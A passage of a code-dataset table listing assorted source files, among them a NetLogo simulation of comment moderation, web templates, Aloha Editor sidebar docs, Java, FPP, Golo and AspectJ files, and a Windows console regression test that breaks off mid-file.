content stringlengths 4 1.04M | lang stringclasses 358 values | score int64 0 5 | repo_name stringlengths 5 114 | repo_path stringlengths 4 229 | repo_licenses listlengths 1 8 |
|---|---|---|---|---|---|
turtles-own [tolerance]
patches-own [comments]
breed [jacks jack]
breed [freds fred]
breed [hans han]
to setup
clear-all
setup-patches
setup-turtles
reset-ticks
end
to go
move-turtles
check-comments
tick
end
to setup-patches
ask patches [
set comments random-float 10
]
check-comments
end
to setup-turtles
create-freds good_actors [
setxy random-xcor random-ycor
set tolerance random-float 10
set color green
]
create-jacks bad_actors [
setxy random-xcor random-ycor
set tolerance 90 + random-float 10
set color red
]
create-hans regular_folk [
setxy random-xcor random-ycor
set color blue
]
move-turtles
end
to move-turtles
ask turtles [
right random 360
forward 1
ifelse tolerance > comments
[set comments comments + 1
if comments >= 100 [set comments 100]]
[set comments comments - 1
if comments <= 0 [set comments 0]]
]
ask hans [set tolerance mean [comments] of neighbors]
if users_leave? [
ask freds [if mean [comments] of neighbors > leave_threshold [die]]
]
;ask hans [set color scale-color yellow tolerance 0 100 ]
end
to check-comments
ask patches [
set pcolor scale-color cyan comments 100 0
]
end
@#$#@#$#@
GRAPHICS-WINDOW
210
10
647
448
-1
-1
13.0
1
10
1
1
1
0
1
1
1
-16
16
-16
16
1
1
1
ticks
30.0
BUTTON
55
50
121
83
NIL
setup
NIL
1
T
OBSERVER
NIL
NIL
NIL
NIL
1
BUTTON
125
50
188
83
NIL
go
T
1
T
OBSERVER
NIL
NIL
NIL
NIL
0
MONITOR
15
290
107
335
Users
count turtles
17
1
11
MONITOR
15
345
180
390
Unwelcoming comment rate
round mean [comments] of patches
17
1
11
MONITOR
15
400
137
445
Average tolerance
round mean [tolerance] of turtles
17
1
11
SLIDER
15
90
187
123
good_actors
good_actors
0
100
20.0
1
1
NIL
HORIZONTAL
SLIDER
15
130
187
163
bad_actors
bad_actors
0
100
10.0
1
1
NIL
HORIZONTAL
SLIDER
15
170
190
203
regular_folk
regular_folk
0
100
70.0
1
1
NIL
HORIZONTAL
SWITCH
15
210
147
243
users_leave?
users_leave?
0
1
-1000
SLIDER
15
250
187
283
leave_threshold
leave_threshold
0
100
20.0
1
1
NIL
HORIZONTAL
PLOT
10
470
645
785
History
ticks
NIL
0.0
100.0
0.0
100.0
true
true
"" ""
PENS
"Good actors" 1.0 0 -10263788 true "" "plot count freds"
"Average tolerance" 1.0 0 -11221820 true "" "plot mean [tolerance] of turtles"
"Unwecome rate" 1.0 0 -2674135 true "" "plot mean [comments] of patches"
@#$#@#$#@
## WHAT IS IT?
A model of Shamus Young's [Philosophy of Moderation](https://www.shamusyoung.com/twentysidedtale/?p=19709) using [the finding](https://stackoverflow.blog/2018/12/04/welcome-wagon-community-and-comments-on-stack-overflow/) that between 3-8% of comments on Stack Overflow are unwelcoming.
## HOW IT WORKS
The patches represent comments in certain areas of the site (tags, for instance). Each patch has a variable that tracks how many comments are unwelcoming in that area. Initially it's set randomly between 0-10%. That means the model starts with a global average around 5%, which coincides with the estimate on Stack Overflow.
There are 3 different types of users (breeds in model terms):
1. freds who are Mr. Rogers types. They have a low tolerence for unwelcoming comments set randomly between 0 and 10%.
2. jacks who are like Jack Torrance from _The Shining_. They have high tolerence for unwelcoming comments set between 90 and 100%.
3. hans who adapt to whatever social situation they inhabit. Their tolerence is set each tick to the average rate of comments in neighboring patches.
Each user influences their current patch by decreasing the unwelcoming comment rate if their tolerance is less than it or increasing if greater. The idea is that users who value welcoming comments contribute to creating a more welcoming environment (and vice versa). Each user moves to a new patch randomly on each click.
There is also an option to let freds leave if the tenor of the neighborhood is too unwelcoming.
## HOW TO USE IT
Set the number of each type of user, press the `setup` button and start the simulation by pressing `go`. With 20 freds, 10 jacks and 70 hans, the model falls into a stable pattern. Depending on initial conditions, low tolerance users balance out the high tolerance users to produce ~7-10% unwelcoming comments. There aren't any major hotspots and users average a tolerance of ~15-17%.
Once the site stablizes, enable the `users_leave?` option. If a fred hits a patch with a neighboring unwelcome comment rate higher than the threshold, that user will leave the site never to return. As they do, the average tolerance begins to rise and so does the overall unwelcome comment rate. In turn, this causes more freds to leave. Eventually the unwelcome comment rate and average tolerance stablize at 95%, which is the average tolerance for jacks.
## THINGS TO NOTICE
Even after one or two freds leave, the model is slow to enter the downward spiral. It may take tens of thousands of clicks to lose all the freds. But once the freds start leaving, it's inevitable that the jacks will take over. It's a race to the bottom.
## THINGS TO TRY
Different ratios of users will produce different results. Equal part jacks and freds will produce a battle over areas of the site that stablizes at 50% unwelcoming if freds are not allowed to leave. Adding hans smooths the regions, but doesn't change the stabilzation point. A site full of hans with a single jack will eventually decend into chaos. A single fred will countbalance the jack.
**It can take a long time to reach the tipping point.** If you don't see the site destablize, you might try reducing the number of `good_actors` when you set up the model. In particular, the web version seems particularly slow.
Adjusting the `leave_threshold` to a high enough number prevents jacks from leaving. By running the simulation several times, you can do a [binary search](https://stackoverflow.com/a/32319650/1438) to discover that limit.
## EXTENDING THE MODEL
I'd be interested in adding a slider to set the ranges of initial tolerances and comment rates.
We sometimes supend users who consitently make bad comments. It might be interesting to let freds flag areas that have really high unwelcome comment rate and suspend the last jack to pass through the area. Alternatively, freds could flag jacks if they are both in the same patch at the same time.
The semantcs of the model represent welcoming comments, but it could easily be changed to represent post quality or other features of user-created content.
A more complicated model would account for other reasons why people my leave or join the site.
## CREDITS AND REFERENCES
* [Philosophy of Moderation](https://www.shamusyoung.com/twentysidedtale/?p=19709) by Shamus Young
* [Welcome Wagon: Community and Comments on Stack Overflowg](https://stackoverflow.blog/2018/12/04/welcome-wagon-community-and-comments-on-stack-overflow/) by Julia Silge & Jason Punyon
@#$#@#$#@
default
true
0
Polygon -7500403 true true 150 5 40 250 150 205 260 250
airplane
true
0
Polygon -7500403 true true 150 0 135 15 120 60 120 105 15 165 15 195 120 180 135 240 105 270 120 285 150 270 180 285 210 270 165 240 180 180 285 195 285 165 180 105 180 60 165 15
arrow
true
0
Polygon -7500403 true true 150 0 0 150 105 150 105 293 195 293 195 150 300 150
box
false
0
Polygon -7500403 true true 150 285 285 225 285 75 150 135
Polygon -7500403 true true 150 135 15 75 150 15 285 75
Polygon -7500403 true true 15 75 15 225 150 285 150 135
Line -16777216 false 150 285 150 135
Line -16777216 false 150 135 15 75
Line -16777216 false 150 135 285 75
bug
true
0
Circle -7500403 true true 96 182 108
Circle -7500403 true true 110 127 80
Circle -7500403 true true 110 75 80
Line -7500403 true 150 100 80 30
Line -7500403 true 150 100 220 30
butterfly
true
0
Polygon -7500403 true true 150 165 209 199 225 225 225 255 195 270 165 255 150 240
Polygon -7500403 true true 150 165 89 198 75 225 75 255 105 270 135 255 150 240
Polygon -7500403 true true 139 148 100 105 55 90 25 90 10 105 10 135 25 180 40 195 85 194 139 163
Polygon -7500403 true true 162 150 200 105 245 90 275 90 290 105 290 135 275 180 260 195 215 195 162 165
Polygon -16777216 true false 150 255 135 225 120 150 135 120 150 105 165 120 180 150 165 225
Circle -16777216 true false 135 90 30
Line -16777216 false 150 105 195 60
Line -16777216 false 150 105 105 60
car
false
0
Polygon -7500403 true true 300 180 279 164 261 144 240 135 226 132 213 106 203 84 185 63 159 50 135 50 75 60 0 150 0 165 0 225 300 225 300 180
Circle -16777216 true false 180 180 90
Circle -16777216 true false 30 180 90
Polygon -16777216 true false 162 80 132 78 134 135 209 135 194 105 189 96 180 89
Circle -7500403 true true 47 195 58
Circle -7500403 true true 195 195 58
circle
false
0
Circle -7500403 true true 0 0 300
circle 2
false
0
Circle -7500403 true true 0 0 300
Circle -16777216 true false 30 30 240
cow
false
0
Polygon -7500403 true true 200 193 197 249 179 249 177 196 166 187 140 189 93 191 78 179 72 211 49 209 48 181 37 149 25 120 25 89 45 72 103 84 179 75 198 76 252 64 272 81 293 103 285 121 255 121 242 118 224 167
Polygon -7500403 true true 73 210 86 251 62 249 48 208
Polygon -7500403 true true 25 114 16 195 9 204 23 213 25 200 39 123
cylinder
false
0
Circle -7500403 true true 0 0 300
dot
false
0
Circle -7500403 true true 90 90 120
face happy
false
0
Circle -7500403 true true 8 8 285
Circle -16777216 true false 60 75 60
Circle -16777216 true false 180 75 60
Polygon -16777216 true false 150 255 90 239 62 213 47 191 67 179 90 203 109 218 150 225 192 218 210 203 227 181 251 194 236 217 212 240
face neutral
false
0
Circle -7500403 true true 8 7 285
Circle -16777216 true false 60 75 60
Circle -16777216 true false 180 75 60
Rectangle -16777216 true false 60 195 240 225
face sad
false
0
Circle -7500403 true true 8 8 285
Circle -16777216 true false 60 75 60
Circle -16777216 true false 180 75 60
Polygon -16777216 true false 150 168 90 184 62 210 47 232 67 244 90 220 109 205 150 198 192 205 210 220 227 242 251 229 236 206 212 183
fish
false
0
Polygon -1 true false 44 131 21 87 15 86 0 120 15 150 0 180 13 214 20 212 45 166
Polygon -1 true false 135 195 119 235 95 218 76 210 46 204 60 165
Polygon -1 true false 75 45 83 77 71 103 86 114 166 78 135 60
Polygon -7500403 true true 30 136 151 77 226 81 280 119 292 146 292 160 287 170 270 195 195 210 151 212 30 166
Circle -16777216 true false 215 106 30
flag
false
0
Rectangle -7500403 true true 60 15 75 300
Polygon -7500403 true true 90 150 270 90 90 30
Line -7500403 true 75 135 90 135
Line -7500403 true 75 45 90 45
flower
false
0
Polygon -10899396 true false 135 120 165 165 180 210 180 240 150 300 165 300 195 240 195 195 165 135
Circle -7500403 true true 85 132 38
Circle -7500403 true true 130 147 38
Circle -7500403 true true 192 85 38
Circle -7500403 true true 85 40 38
Circle -7500403 true true 177 40 38
Circle -7500403 true true 177 132 38
Circle -7500403 true true 70 85 38
Circle -7500403 true true 130 25 38
Circle -7500403 true true 96 51 108
Circle -16777216 true false 113 68 74
Polygon -10899396 true false 189 233 219 188 249 173 279 188 234 218
Polygon -10899396 true false 180 255 150 210 105 210 75 240 135 240
house
false
0
Rectangle -7500403 true true 45 120 255 285
Rectangle -16777216 true false 120 210 180 285
Polygon -7500403 true true 15 120 150 15 285 120
Line -16777216 false 30 120 270 120
leaf
false
0
Polygon -7500403 true true 150 210 135 195 120 210 60 210 30 195 60 180 60 165 15 135 30 120 15 105 40 104 45 90 60 90 90 105 105 120 120 120 105 60 120 60 135 30 150 15 165 30 180 60 195 60 180 120 195 120 210 105 240 90 255 90 263 104 285 105 270 120 285 135 240 165 240 180 270 195 240 210 180 210 165 195
Polygon -7500403 true true 135 195 135 240 120 255 105 255 105 285 135 285 165 240 165 195
line
true
0
Line -7500403 true 150 0 150 300
line half
true
0
Line -7500403 true 150 0 150 150
pentagon
false
0
Polygon -7500403 true true 150 15 15 120 60 285 240 285 285 120
person
false
0
Circle -7500403 true true 110 5 80
Polygon -7500403 true true 105 90 120 195 90 285 105 300 135 300 150 225 165 300 195 300 210 285 180 195 195 90
Rectangle -7500403 true true 127 79 172 94
Polygon -7500403 true true 195 90 240 150 225 180 165 105
Polygon -7500403 true true 105 90 60 150 75 180 135 105
plant
false
0
Rectangle -7500403 true true 135 90 165 300
Polygon -7500403 true true 135 255 90 210 45 195 75 255 135 285
Polygon -7500403 true true 165 255 210 210 255 195 225 255 165 285
Polygon -7500403 true true 135 180 90 135 45 120 75 180 135 210
Polygon -7500403 true true 165 180 165 210 225 180 255 120 210 135
Polygon -7500403 true true 135 105 90 60 45 45 75 105 135 135
Polygon -7500403 true true 165 105 165 135 225 105 255 45 210 60
Polygon -7500403 true true 135 90 120 45 150 15 180 45 165 90
sheep
false
15
Circle -1 true true 203 65 88
Circle -1 true true 70 65 162
Circle -1 true true 150 105 120
Polygon -7500403 true false 218 120 240 165 255 165 278 120
Circle -7500403 true false 214 72 67
Rectangle -1 true true 164 223 179 298
Polygon -1 true true 45 285 30 285 30 240 15 195 45 210
Circle -1 true true 3 83 150
Rectangle -1 true true 65 221 80 296
Polygon -1 true true 195 285 210 285 210 240 240 210 195 210
Polygon -7500403 true false 276 85 285 105 302 99 294 83
Polygon -7500403 true false 219 85 210 105 193 99 201 83
square
false
0
Rectangle -7500403 true true 30 30 270 270
square 2
false
0
Rectangle -7500403 true true 30 30 270 270
Rectangle -16777216 true false 60 60 240 240
star
false
0
Polygon -7500403 true true 151 1 185 108 298 108 207 175 242 282 151 216 59 282 94 175 3 108 116 108
target
false
0
Circle -7500403 true true 0 0 300
Circle -16777216 true false 30 30 240
Circle -7500403 true true 60 60 180
Circle -16777216 true false 90 90 120
Circle -7500403 true true 120 120 60
tree
false
0
Circle -7500403 true true 118 3 94
Rectangle -6459832 true false 120 195 180 300
Circle -7500403 true true 65 21 108
Circle -7500403 true true 116 41 127
Circle -7500403 true true 45 90 120
Circle -7500403 true true 104 74 152
triangle
false
0
Polygon -7500403 true true 150 30 15 255 285 255
triangle 2
false
0
Polygon -7500403 true true 150 30 15 255 285 255
Polygon -16777216 true false 151 99 225 223 75 224
truck
false
0
Rectangle -7500403 true true 4 45 195 187
Polygon -7500403 true true 296 193 296 150 259 134 244 104 208 104 207 194
Rectangle -1 true false 195 60 195 105
Polygon -16777216 true false 238 112 252 141 219 141 218 112
Circle -16777216 true false 234 174 42
Rectangle -7500403 true true 181 185 214 194
Circle -16777216 true false 144 174 42
Circle -16777216 true false 24 174 42
Circle -7500403 false true 24 174 42
Circle -7500403 false true 144 174 42
Circle -7500403 false true 234 174 42
turtle
true
0
Polygon -10899396 true false 215 204 240 233 246 254 228 266 215 252 193 210
Polygon -10899396 true false 195 90 225 75 245 75 260 89 269 108 261 124 240 105 225 105 210 105
Polygon -10899396 true false 105 90 75 75 55 75 40 89 31 108 39 124 60 105 75 105 90 105
Polygon -10899396 true false 132 85 134 64 107 51 108 17 150 2 192 18 192 52 169 65 172 87
Polygon -10899396 true false 85 204 60 233 54 254 72 266 85 252 107 210
Polygon -7500403 true true 119 75 179 75 209 101 224 135 220 225 175 261 128 261 81 224 74 135 88 99
wheel
false
0
Circle -7500403 true true 3 3 294
Circle -16777216 true false 30 30 240
Line -7500403 true 150 285 150 15
Line -7500403 true 15 150 285 150
Circle -7500403 true true 120 120 60
Line -7500403 true 216 40 79 269
Line -7500403 true 40 84 269 221
Line -7500403 true 40 216 269 79
Line -7500403 true 84 40 221 269
wolf
false
0
Polygon -16777216 true false 253 133 245 131 245 133
Polygon -7500403 true true 2 194 13 197 30 191 38 193 38 205 20 226 20 257 27 265 38 266 40 260 31 253 31 230 60 206 68 198 75 209 66 228 65 243 82 261 84 268 100 267 103 261 77 239 79 231 100 207 98 196 119 201 143 202 160 195 166 210 172 213 173 238 167 251 160 248 154 265 169 264 178 247 186 240 198 260 200 271 217 271 219 262 207 258 195 230 192 198 210 184 227 164 242 144 259 145 284 151 277 141 293 140 299 134 297 127 273 119 270 105
Polygon -7500403 true true -1 195 14 180 36 166 40 153 53 140 82 131 134 133 159 126 188 115 227 108 236 102 238 98 268 86 269 92 281 87 269 103 269 113
x
false
0
Polygon -7500403 true true 270 75 225 30 30 225 75 270
Polygon -7500403 true true 30 75 75 30 270 225 225 270
@#$#@#$#@
NetLogo 6.0.4
@#$#@#$#@
@#$#@#$#@
@#$#@#$#@
@#$#@#$#@
@#$#@#$#@
default
0.0
-0.2 0 0.0 1.0
0.0 1 1.0 0.0
0.2 0 0.0 1.0
link direction
true
0
Line -7500403 true 150 150 90 180
Line -7500403 true 150 150 210 180
@#$#@#$#@
1
@#$#@#$#@
| NetLogo | 5 | jericson/jericson.github.io | NetLogo/.welcome_comments.tmp.nlogo | [
"Artistic-2.0"
] |
{{ define "main" }}
<article class="markdown">
<h1>{{ .Title | title }}</h1>
{{ $taxonomies := index .Site.Taxonomies .Page.Type }}
{{ range $taxonomies }}
<div><a href="{{ .Page.Permalink }}">{{ .Page.Title }} <sup>{{ .Count }}</sup></a></div>
{{ end }}
</article>
{{ end }}
{{ define "toc" }}
{{ partial "docs/taxonomy" . }}
{{ end }}
| HTML | 4 | sohaoo/LeetCode-Go | website/themes/book/layouts/taxonomy/list.html | [
"MIT"
] |
h2. Sidebar
The Sidebar is an HTML container you can use in your own implementation.
endprologue.
h3. Overview
Aloha Editor comes with two preconfigured Sidebars that can be referenced via the @Aloha.Sidebar.*@ property:
<javascript>
Aloha.Sidebar.left; // references the left Sidebar
Aloha.Sidebar.right; // references the right Sidebar
</javascript>
h3. Sidebar
Aloha Editor's Sidebar acts as a container for Panels where you can put html content like forms. It comes with an API that allows you to control all of its functions:
<javascript>
// slide the right sidebar open
Aloha.Sidebar.right.open();
</javascript>
h4. Sidebar API
You can use the following Sidebar methods in your implementations:
|_. Method |_. Description |
| show() | Show the Sidebar |
| hide() | Hide the Sidebar |
| getPanelById(id) | Retrieve a Panel by it's id |
| open() | Slide the Sidebar open |
| close() | Close the Sidebar |
| activatePanel(panel, element) | Activates a panel. Expects a panel's id or the actual object for @panel@, and a jQuery object for @element@. @element@ is the object the Panel was activated from (e.g. a button) |
| expandPanel(panel, callback) | Expands a panel. Put a panel's id or the actual Panel object for @panel@. You can add a @callback@ that triggers after the animation completes |
| collapsePanel(panel, callback) | Collapse a panel. Put a panel's id or the actual Panel object for @panel@. You can add a @callback@ that triggers after the animation completes |
| addPanel(panel) | Add a new Panel to the sidebar. Specify your options as an object in @panel@. Also see "Sidebar Panels":#sidebar-panels for additional information |
h3. Sidebar Panels
Each Sidebar is made of Panels that act as containers for your HTML code. Panels provide an API for you to interact with them.
To add a new Panel to a Sidebar use the Sidebar's @addPanel()@ method and specify your options in an object:
<javascript>
var panel = Aloha.Sidebar.right.addPanel({
// the id of your new Panel
id: 'new-panel',
// title to be set for your Panel
title : 'Sidebar Demo Panel',
// initial html content of your panel
content : '<p>Demo content!</p>',
// whether the panel should be expanded initially
expanded : true
});
</javascript>
h4. Panel API
You can use the following Panel methods in your implementations:
|_. Method |_. Description |
| activate() | Shows the Panel |
| deactivate() | Hides the Panel |
| expand() | Expands the panel to display it's contents |
| collapse() | Collapses the panel so only it's title bar is displayed |
| setTitle(html) | Update the Panel's title |
| setContent(html) | Update the Panel's content |
| Textile | 4 | luciany/Aloha-Editor | doc/guides/source/sidebar.textile | [
"CC-BY-3.0"
] |
package com.baeldung.couchbase.async.service;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;
import javax.annotation.PostConstruct;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import com.couchbase.client.java.Bucket;
import com.couchbase.client.java.Cluster;
import com.couchbase.client.java.CouchbaseCluster;
import com.couchbase.client.java.env.CouchbaseEnvironment;
import com.couchbase.client.java.env.DefaultCouchbaseEnvironment;
@Service
public class ClusterServiceImpl implements ClusterService {
private Cluster cluster;
private Map<String, Bucket> buckets = new ConcurrentHashMap<>();
@Autowired
public ClusterServiceImpl(Cluster cluster) {
this.cluster = cluster;
}
@PostConstruct
private void init() {
CouchbaseEnvironment env = DefaultCouchbaseEnvironment.create();
cluster = CouchbaseCluster.create(env, "localhost");
}
@Override
synchronized public Bucket openBucket(String name, String password) {
if (!buckets.containsKey(name)) {
Bucket bucket = cluster.openBucket(name, password);
buckets.put(name, bucket);
}
return buckets.get(name);
}
}
| Java | 4 | zeesh49/tutorials | couchbase/src/main/java/com/baeldung/couchbase/async/service/ClusterServiceImpl.java | [
"MIT"
] |
module Svc {
@ A generic hub component
passive component GenericHub {
# ----------------------------------------------------------------------
# General Ports
# ----------------------------------------------------------------------
@ Input array of generic ports to shuttle to the other side of the hub connection
guarded input port portIn: [GenericHubInputPorts] serial
@ Output array of generic ports shuttled from the other side of the hub connection
output port portOut: [GenericHubOutputPorts] serial
@ Input array of generic ports shuttling in copy-free buffers form external sources
guarded input port buffersIn: [GenericHubInputBuffers] Fw.BufferSend
@ Output array of generic ports shuttling in copy-free buffers form external sources
output port buffersOut: [GenericHubOutputBuffers] Fw.BufferSend
@ Buffer return from incoming bufferIn calls
output port bufferDeallocate: Fw.BufferSend
@ Data output to remote hub
output port dataOut: Fw.BufferSend
@ Data input from remote hub
sync input port dataIn: Fw.BufferSend
@ Deallocation of buffer passed into data in
output port dataInDeallocate: Fw.BufferSend
@ Allocation of buffer passed to passed out dataOut
output port dataOutAllocate: Fw.BufferGet
}
}
| FORTRAN | 4 | AlperenCetin0/fprime | Svc/GenericHub/GenericHub.fpp | [
"Apache-2.0"
] |
.excalidraw {
.ActiveFile {
.ActiveFile__fileName {
display: flex;
align-items: center;
span {
text-overflow: ellipsis;
overflow: hidden;
white-space: nowrap;
width: 9.3em;
}
svg {
width: 1.15em;
margin-inline-end: 0.3em;
transform: scaleY(0.9);
}
}
}
}
| SCSS | 3 | dineshondev/excalidraw | src/components/ActiveFile.scss | [
"MIT"
] |
.bar
color: green
| Stylus | 1 | johanberonius/parcel | packages/core/integration-tests/test/integration/stylus-glob-import/subdir/bar/bar.styl | [
"MIT"
] |
module models.toon
import m33ki.mongodb
# Collection
function Toons = {
let collection = Mongo()
: database("toonsdb")
: collection("Toons")
# Model
let Toon = |collection| -> MongoModel(collection)
return MongoCollection(Toon, collection)
}
| Golo | 3 | TypeUnsafe/golo-tour | 05-Golo.75.devoxxfr.2014/4.grosse.demo.golo.loves.java/toons/app/models/Toon.golo | [
"MIT"
] |
<html>
<head>
<title>template_html_3</title>
<style>
a {
color: #0f7afc;
border-bottom-color: rgba(15, 122, 252, 0.2);
text-decoration: none
}
a:hover {
color: #cf0000;
border-bottom-color: rgba(208, 64, 0, 0.2);
text-decoration: none
}
a:visited {
color: #800080;
border-bottom-color: rgba(128, 0, 128, 0.2);
text-decoration: none
}
</style>
</head>
<body>
<a href="{{urlpath "my-page1"}}">/mypath</a>
<br />
<br />
<a href="{{urlpath "my-page2" "theParam1" "theParam2"}}">/mypath2/{paramfirst}/{paramsecond}</a>
<br />
<br />
<a href="{{urlpath "my-page3" "theParam1" "theParam2AfterStatic"}}">/mypath3/{paramfirst}/statichere/{paramsecond}</a>
<br />
<br />
<a href="{{urlpath "my-page4" "theParam1" "theparam2AfterStatic" "otherParam" "matchAnything"}}">
/mypath4/{paramfirst}/statichere/{paramsecond}/{otherparam}/{something:path}</a>
<br />
<br />
<a href="{{urlpath "my-page5" "theParam1" "theParam2Afterstatichere" "otherParam" "matchAnythingAfterStatic"}}">
/mypath5/{paramfirst}/statichere/{paramsecond}/{otherparam}/anything/{anything:path}</a>
<br />
<br />
<a href={{urlpath "my-page6" .ParamsAsArray }}>
/mypath6/{paramfirst}/{paramsecond}/statichere/{paramThirdAfterStatic}
</a>
</body>
</html> | HTML | 3 | NeatNerdPrime/iris | _examples/view/template_html_3/templates/page.html | [
"BSD-3-Clause"
] |
/*
* Copyright 2005-2010 LAMP/EPFL
*/
// $Id$
package scala.tools.eclipse.contribution.weaving.jdt.core;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import org.eclipse.core.runtime.CoreException;
import org.eclipse.debug.core.sourcelookup.AbstractSourceLookupDirector;
public aspect SourceLookupAspect {
pointcut findSourceElements(Object object) :
execution(Object[] AbstractSourceLookupDirector.findSourceElements(Object)) &&
args(object);
Object[] around(Object object) throws CoreException :
findSourceElements(object) {
if (object instanceof String) {
String sourceFile = (String)object;
if (sourceFile.endsWith(".java")) {
String scalaSourceFile = sourceFile.substring(0, sourceFile.length()-5)+".scala";
List result = new ArrayList();
Object[] scalaResults = proceed(scalaSourceFile);
Object[] javaResults = proceed(sourceFile);
result.addAll(Arrays.asList(scalaResults));
result.addAll(Arrays.asList(javaResults));
return result.toArray();
}
}
return proceed(object);
}
}
| AspectJ | 3 | elemgee/scala-ide | org.scala-ide.sdt.aspects/src/scala/tools/eclipse/contribution/weaving/jdt/core/SourceLookupAspect.aj | [
"BSD-3-Clause"
] |
.icon-github_enterprise::before {
height: 1em;
content: "";
background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9wJGBYxHYxl31wAAAHpSURBVDjLpZI/aFNRFMZ/973bJqGRPopV4qNq/+SpTYnWRhCKilShg9BGcHOM+GfQoZuLk4iLgw4qZNBaHLuIdBNHl7Ta1qdNFI3SihnaNG1MpH3vuiQYQnwZvHCG893zffc751z4z6PX5T5gA1DAKnAaOAQEgAfAVeCpl+CeCrlRuEC6maO4h0A1wl4tPAHMqNUthvrDdHYY7A3t4rDVjeO6rBU2FaABM1WCrBNoi48Mi+nH9yj+KtPibAKwJXfQ5vcRG7soUnYmWEuQgAEIYBv4cGpoILI0Z4tyYYPegS6UguyijZQ6J45GSNmZHzUcJYD2ii2Ajv7efZ8WZ6ZwXFj79hXpayW4O0SL1Nl/8jzZlZ9dQLFS70pgvZKIyGD0yvu5eRmMnrk1PjI81ir1qBACTdPevXj95mVuNX8XKDQc/+T334bZZ104cvzYw2s3J3qAL5WXSsDbf61NNMBu+wOBs+VSyQ84Nfhg028ZGx3/qyy0lC7lgi7lghBitoon03lvB8l0/k7Wnk+8mny0cyXzEcfZxgwfZPTyRMHsOzAFXE9YhtNQIJnOx4FpJXT1eSkn2g0frqMoFrfoCXcqlCOAGwnLuO/l4JymcWl5uRxzXUKghBAiZ5r+WaV4lrCM555zqO+x2d0ftGmpiA/0k70AAAAASUVORK5CYII=);
background-repeat: no-repeat;
background-position: center center;
}
| CSS | 3 | subramanir2143/Rocket.Chat | app/github-enterprise/client/github-enterprise-login-button.css | [
"MIT"
] |
// Copyright (c) Microsoft Corporation.
// Licensed under the MIT license.
#include "precomp.h"
using namespace WEX::Logging;
class MultipleInflightMessageTests
{
BEGIN_TEST_CLASS(MultipleInflightMessageTests)
END_TEST_CLASS()
// This test is intended to make sure that we do not regress after the _handlePostCharInputLoop fix in OpenConsole:c0ab9cb5b
TEST_METHOD(WriteWhileReadingInputCrash)
{
BEGIN_TEST_METHOD_PROPERTIES()
TEST_METHOD_PROPERTY(L"IsolationLevel", L"Method") // Don't pollute other tests by isolating our potential crash and buffer resizing to this test.
END_TEST_METHOD_PROPERTIES()
// OneCore systems can't adjust the window/buffer size, so we'll skip making it smaller.
// On Desktop systems, make it smaller so the test runs faster.
if (!OneCoreDelay::IsIsWindowPresent())
{
Log::Comment(L"This scenario requires a large buffer size, which OneCore does not provide.");
Log::Result(WEX::Logging::TestResults::Skipped);
return;
}
using namespace std::string_view_literals;
const auto inputHandle = GetStdInputHandle();
const auto outputHandle = GetStdOutputHandle();
DWORD originalConsoleMode{};
VERIFY_WIN32_BOOL_SUCCEEDED(GetConsoleMode(inputHandle, &originalConsoleMode));
auto restoreMode{ wil::scope_exit([=]() {
SetConsoleMode(inputHandle, originalConsoleMode);
}) };
VERIFY_WIN32_BOOL_SUCCEEDED(SetConsoleMode(inputHandle, ENABLE_ECHO_INPUT | ENABLE_LINE_INPUT));
// Prime the console with some fake input records.
const std::array<INPUT_RECORD, 4> inputRecords{
INPUT_RECORD{ KEY_EVENT, KEY_EVENT_RECORD{ TRUE, 1, 'h', 0, L'h', 0 } },
INPUT_RECORD{ KEY_EVENT, KEY_EVENT_RECORD{ FALSE, 1, 'h', 0, L'h', 0 } },
INPUT_RECORD{ KEY_EVENT, KEY_EVENT_RECORD{ TRUE, 1, 'i', 0, L'i', 0 } },
INPUT_RECORD{ KEY_EVENT, KEY_EVENT_RECORD{ FALSE, 1, 'i', 0, L'i', 0 } },
};
DWORD written{};
VERIFY_WIN32_BOOL_SUCCEEDED(WriteConsoleInput(inputHandle, inputRecords.data(), static_cast<DWORD>(inputRecords.size()), &written));
VERIFY_ARE_EQUAL(inputRecords.size(), written);
// !!! LOAD BEARING !!!
// This buffer needs to be large enough to force API_MSG to heap allocate (!)
std::array<wchar_t, 129> buffer;
DWORD read{};
auto readerThreadLaunched{ false };
std::condition_variable readerThreadLaunchCV;
std::mutex readerThreadLaunchMutex;
std::unique_lock lock{ readerThreadLaunchMutex };
std::thread readerThread{ [&]() {
WEX::TestExecution::DisableVerifyExceptions disableVerifyExceptions{};
{
std::scoped_lock lock{ readerThreadLaunchMutex };
readerThreadLaunched = true;
}
readerThreadLaunchCV.notify_all();
VERIFY_WIN32_BOOL_SUCCEEDED(ReadConsoleW(inputHandle, buffer.data(), static_cast<DWORD>(buffer.size()), &read, nullptr));
} };
// CV wait should allow readerThread to progress
readerThreadLaunchCV.wait(lock, [&]() { return readerThreadLaunched; });
// should not progress until readerThreadLaunched is set.
Sleep(50); // Yeah, it's not science.
std::thread writerThread{ [&]() {
WEX::TestExecution::DisableVerifyExceptions disableVerifyExceptions{};
DWORD temp{};
// !!! LOAD BEARING !!!
// This buffer must be large enough to trigger a *re-allocation* in the API message handler.
std::array<wchar_t, 4096> anEvenLargerBuffer;
VERIFY_WIN32_BOOL_SUCCEEDED(ReadConsoleOutputCharacterW(outputHandle, anEvenLargerBuffer.data(), static_cast<DWORD>(anEvenLargerBuffer.size()), COORD{ 1, 1 }, &temp)); // has payload (output buffer)
VERIFY_ARE_EQUAL(4096u, temp);
const std::array<INPUT_RECORD, 2> inputRecords{
INPUT_RECORD{ KEY_EVENT, KEY_EVENT_RECORD{ TRUE, 1, '1', 0, L'!', SHIFT_PRESSED } },
INPUT_RECORD{ KEY_EVENT, KEY_EVENT_RECORD{ FALSE, 1, '1', 0, L'!', SHIFT_PRESSED } },
};
DWORD written{};
VERIFY_WIN32_BOOL_SUCCEEDED(WriteConsoleInputW(inputHandle, inputRecords.data(), static_cast<DWORD>(inputRecords.size()), &written));
VERIFY_ARE_EQUAL(inputRecords.size(), written);
// !!! LOAD BEARING !!!
// It is (apparently) important that this come in two different writes.
const std::array<INPUT_RECORD, 2> inputRecords2{
INPUT_RECORD{ KEY_EVENT, KEY_EVENT_RECORD{ TRUE, 1, VK_RETURN, 0, L'\r', 0 } },
